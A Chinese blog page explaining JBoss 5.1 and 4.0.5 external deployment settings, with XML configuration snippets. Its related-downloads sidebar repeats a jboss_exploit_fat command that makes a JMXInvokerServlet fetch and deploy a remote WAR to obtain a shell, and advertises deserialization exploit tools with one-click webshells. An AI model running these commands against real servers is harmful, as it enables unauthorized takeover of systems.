`
fantasy
  • 浏览: 506856 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

JBOSS各版本远程部署方法

    博客分类:
  • web
阅读更多
  为了方便快速调试代码,大家都会使用远程部署,郁闷的是JBOSS各个版本远程部署的方式还不一样。所以在这里记录下JBOSS各个版本远程部署的方法,免得太多的JAVA同学花时间研究。

JBOSS5.1的远程部署配置。在server\default\conf\bootstrap目录下profile.xml文件里,加上需要远程部署的路径,如E:/java/Umpspace/configuration/WebContent。
<bean name="BootstrapProfileFactory" class="org.jboss.system.server.profileservice.repository.StaticProfileFactory">
      <property name="bindingsURI">${jboss.server.home.url}conf/bindingservice.beans</property>
      <property name="bootstrapURI">${jboss.server.home.url}conf/jboss-service.xml</property>
		<property name="deployersURI">${jboss.server.home.url}deployers</property>
		<property name="applicationURIs">
			<list elementClass="java.net.URI">
				<value>${jboss.server.home.url}deploy</value>
				<value>file:/E:/java/Umpspace/configuration/WebContent</value>
			</list>
		</property>
		<property name="attachmentStoreRoot">${jboss.server.data.dir}/attachments</property>
		<property name="profileFactory"><inject bean="ProfileFactory" /></property>
	</bean>

WebContent下必须是XX.war。注意war里的jar不能再包含jar,不然会报不能解压的错误。默认可以热部署页面文件,在debug模式下可以调试java代码,但是新增方法需要重启war,更新web.xml的修改时间(就是加一个空格再删一个空格,再保存,web.xml的修改时间就会改变),JBOSS就会自动重新部署该war。

jboss-4.0.5的远程部署配置,在server\default\conf\jboss-service.xml文件里,加入需要外挂的地址。
<attribute name="FilterInstance" attributeClass="org.jboss.deployment.scanner.DeploymentFilter"
         serialDataType="javaBean">
         <!-- Files starting with theses strings are ignored -->
         <property name="prefixes">#,%,\,,.,_$</property>
         <!-- Files ending with theses strings are ignored -->
         <property name="suffixes">#,$,%,~,\,v,.BAK,.bak,.old,.orig,.tmp,.rej,.sh</property>
         <property name="matches">.make.state,.nse_depinfo,CVS,CVS.admin,RCS,RCSLOG,SCCS,TAGS,core,tags</property>
      </attribute>

      <attribute name="ScanPeriod">5000</attribute>
      
      <!-- A flag to disable the scans -->
      <attribute name="ScanEnabled">true</attribute>

      <attribute name="URLs">
         deploy/,
	 file:///E:/java/Umpspace/configuration/WebContent      </attribute>
<attribute name="RecursiveSearch">True</attribute>

   </mbean>


  有多个远程war,可以用逗号分隔。

分享到:
评论

相关推荐

    jboss7本地远程部署的步骤

    jboss7本地远程部署的步骤;详细步骤在里面

    配置Eclipse进行JBOSS远程调试

    配置Eclipse进行JBOSS远程调试

    Jboss远程调试配置文档

    Jboss远程调试配置,方便调试远程JBOSS部署的应用

    jboss-exp.rar

    4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell...

    jboss_exploit_fat

    4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell...

    java反序列化漏洞利用工具Jboss&WebLogic;.rar

    jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...

    jboss xml漏洞exp

    4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell...

    Java反序列化漏洞利用工具(WebLogic&Jboss;)

    jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...

    Tomcat web工程 调用 JBOSS EJB local及remote源码

    Tomcat下web工程调用JBOSS部署的EJB项目 此源码包 包括local本地调用及remote远程调用 文档说明在http://blog.csdn.net/heardy/article/details/6906225

    MyEclipse+EJB3+JBoss4部署EBJ+web项目HelloWorld详解

    1,下载安装JDK1.6; 2,下载安装MyEclispse8.5; 3,下载安装JBoss4; 4,在MyEclispse8.5环境下配置JBoss4; 5,新建一个EJB3项目;...6,新建一个远程的无状态的SessionBean; 远程接口代码如下:

    经典JAVA.EE企业应用实战.基于WEBLOGIC_JBOSS的JSF_EJB3_JPA整合开发.pdf

    该案例采用目前最流行、最规范的java ee架构,整个应用分为jpa实体层、eao层、业务逻辑层、mvc层和视图层,各层之间分层清晰,层与层之间以松耦合的方法组织在一起。该案例既提供了ide无关的、基于ant管理的项目源码...

    Java反序列化漏洞利用工具(WebLogic&Jboss)

    2. jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛...

    部署配置说明书.doc

    tomcat8与jboss7集成ejb中的jboss配置文档说明,包含,jboss,配置mysql过程文件,jboss端口设置描述,jboss打包部署格式,jboss部署目录,clinet客户端与ejb的对用使用方式

    JBoss Seam 工作原理、seam和hibernate的范例、RESTFul的seam、seam-gen起步、seam组件、配置组件、jsf,jboss、标签、PDF、注解等等

    JBoss Seam 简介......................................................................................................................................................................... 11 Chapter 1. ...

    JBossDataGrid-Query-Demo:展示如何在 JBoss 数据网格上提高性能和查询数据

    JBoss 企业应用平台和 JBoss 数据网格演示添加一名作者级别:中级技术:CDI、jQuery、JAX-RS、Infinispan HotRod 简介: datagrid-demo-app展示了 JBoss DataGrid... 它还包括远程 JBoss DataGrid 上的持久层,向您介绍

    java反序列化漏洞利用工具WebLogicExploit_weblogic图形化漏洞利用工具

    jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...

    java反序列化漏洞利用工具

    2. jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛...

    java反序列化漏洞利用工具WebLogicExploit

    jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛出...

    javaexec.zip

    2. jboss利用里添加一键getshell功能,利用的是jboss的热部署功能,直接部署一个war包,一键返回一个菜刀shell 3. 反弹shell部分更完美,不再加载远程war包,直接发包完成反弹。 4. jboss回显执行命令部分利用异常抛...

    wildfly:WildFly项目的Docker映像

    WildFly Docker映像 这是带有示例。 用法 以独立模式启动 docker run -it jboss/wildfly 使用远程可用的管理控制台以独立模式启动 docker run -p 8080:8080 -p 9990:9990 -it ...部署应用程序的最流行方法是使用部署扫

Global site tag (gtag.js) - Google Analytics